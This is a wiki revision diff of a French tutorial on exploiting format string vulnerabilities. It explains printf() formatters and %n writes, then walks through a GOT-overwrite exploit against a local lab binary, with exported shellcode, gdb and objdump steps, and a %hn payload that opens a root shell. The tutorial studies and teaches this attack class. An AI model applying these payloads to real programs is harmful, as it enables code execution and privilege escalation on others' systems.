Cette page vous donne les différences entre la révision choisie et la version actuelle de la page.
failles_app:format_string [2012/06/27 09:47] ezano [4.2 Pratique] |
failles_app:format_string [2017/04/09 15:33] (Version actuelle) |
||
---|---|---|---|
Ligne 7: | Ligne 7: | ||
Je vais donc tenter d’expliquer le principe des Format String de la façon dont j’aurais aimé qu’on le fasse au moment ou j’ai moi-même appris. | Je vais donc tenter d’expliquer le principe des Format String de la façon dont j’aurais aimé qu’on le fasse au moment ou j’ai moi-même appris. | ||
- | \\ | + | ======= SOMMAIRE ======= |
- | + | ||
- | SOMMAIRE | + | |
- | ---- | + | |
- | + | ||
- | \\ | + | |
* 1 Rappels sur les fonctions de la famille printf() | * 1 Rappels sur les fonctions de la famille printf() | ||
Ligne 24: | Ligne 19: | ||
* 2.3.2 Les formateurs "pointeurs" | * 2.3.2 Les formateurs "pointeurs" | ||
* 2.3.3 Le formateur %n | * 2.3.3 Le formateur %n | ||
- | * La faille Format String, exploitation | + | * La faille Format String, exploitation classique |
* 3.1 Théorie | * 3.1 Théorie | ||
- | * 3.2 Pratique | + | * 3.2 Facilités d'écriture |
- | + | * 3.2.1 Raccourcis | |
+ | * 3.2.2 Génération de caractères | ||
+ | * 3.3 Pratique | ||
+ | * 4 Exploitation via la Global Offset Table | ||
+ | * Pré-requis | ||
+ | * 4.1 Théorie | ||
+ | * 4.1.1 Section PLT | ||
+ | * 4.1.2 Section GOT | ||
+ | * 4.2 Pratique | ||
+ | * 5 Ressources | ||
+ | \\ | ||
======= 1 Rappels sur les fonctions de la famille printf() ======= | ======= 1 Rappels sur les fonctions de la famille printf() ======= | ||
Ligne 140: | Ligne 144: | ||
<file X Terminal> | <file X Terminal> | ||
- | [root@VmZenk:~/tests]$ ./vuln %x%x%x%x | + | [root@VmZenk:~/tests]$ ./vuln "%08x %08x %08x %08x" |
- | bffffea23fff078257825 | + | bffffea2 000003ff 000000f0 78257825 |
</file> | </file> | ||
- | Le formateur %x est donc un formateur "direct" pour la raison suivante : il affiche tout simplement la valeur qu'il trouve sur la pile. Voyons ça avec une petite représentation de la pile. Ne vous inquiétez pas, les valeurs de la pile correspondent à l’affichage sauf que dans le terminal les 0 sont tronqués. | + | Le formateur %x est donc un formateur "direct" pour la raison suivante : il affiche tout simplement la valeur qu'il trouve sur la pile. %08x demande au formateur %x d'afficher la donnée sous la forme d'un nombre décimal de 8 caractère maximum précédé de 0. |
+ | Voyons ça avec une petite représentation de la pile. | ||
PILE | PILE | ||
Ligne 435: | Ligne 441: | ||
- | ======= 4 La faille Format String, exploitation via la Global Offset Table ======= | + | ======= 4 Exploitation via la Global Offset Table ======= |
+ | |||
+ | ====== Pré-requis ====== | ||
<file C vuln.c> | <file C vuln.c> | ||
Ligne 462: | Ligne 470: | ||
} | } | ||
</file> | </file> | ||
- | |||
====== 4.1 Théorie ====== | ====== 4.1 Théorie ====== | ||
Ligne 578: | Ligne 585: | ||
------------------------------------------------------------------------------- | ------------------------------------------------------------------------------- | ||
- | //On exporte le shellcode... | + | //On exporte le shellcode...// |
<file X Terminal> | <file X Terminal> | ||
ezano@Practice:~/Hacking $ export SHELLCODE=`python -c 'print "\x31\xc0\x31\xdb | ezano@Practice:~/Hacking $ export SHELLCODE=`python -c 'print "\x31\xc0\x31\xdb | ||
Ligne 586: | Ligne 593: | ||
- | //On determine l'adresse... | + | //On determine l'adresse...// |
<file X Terminal> | <file X Terminal> | ||
ezano@Practice:~/Hacking $ ./get_env SHELLCODE ./vuln | ezano@Practice:~/Hacking $ ./get_env SHELLCODE ./vuln | ||
Ligne 593: | Ligne 600: | ||
- | //On fais les calculs nécessaire pour la réecriture d'adresse... | + | //On fais les calculs nécessaire pour la réecriture d'adresse...// |
<file X Terminal> | <file X Terminal> | ||
ezano@Practice:~/Hacking $ gdbGNU gdb 6.6-debian | ezano@Practice:~/Hacking $ gdbGNU gdb 6.6-debian | ||
Ligne 610: | Ligne 617: | ||
- | //On désassemble la GOT (beaucoup de methodes possible) | + | //On désassemble la GOT (beaucoup de methodes possible)// |
<file X Terminal> | <file X Terminal> | ||
ezano@Practice:~/Hacking $ objdump -R ./vuln | ezano@Practice:~/Hacking $ objdump -R ./vuln | ||
Ligne 626: | Ligne 633: | ||
</file> | </file> | ||
- | //On exploite... | + | //On exploite...// |
<file X Terminal> | <file X Terminal> | ||
ezano@Practice:~/Hacking $ ./vuln $(printf "\x56\x96\x04\x08\x54\x96\x04\x08")%49143x%4\$hn%14883x%5\$hn | ezano@Practice:~/Hacking $ ./vuln $(printf "\x56\x96\x04\x08\x54\x96\x04\x08")%49143x%4\$hn%14883x%5\$hn | ||
+ | sh-3.2# | ||
</file> | </file> | ||
- | |||
w00t. | w00t. | ||
- | <file X Terminal> | ||
- | sh-3.2# | ||
- | </file> | ||
- | |||
- | |||
- | |||
- | |||
- | |||
- | |||
+ | ======= 5 Ressources ======= | ||
+ | [[http://julianor.tripod.com/bc/formatstring-1.2.pdf|Exploiting Format String Vulnerability]] | ||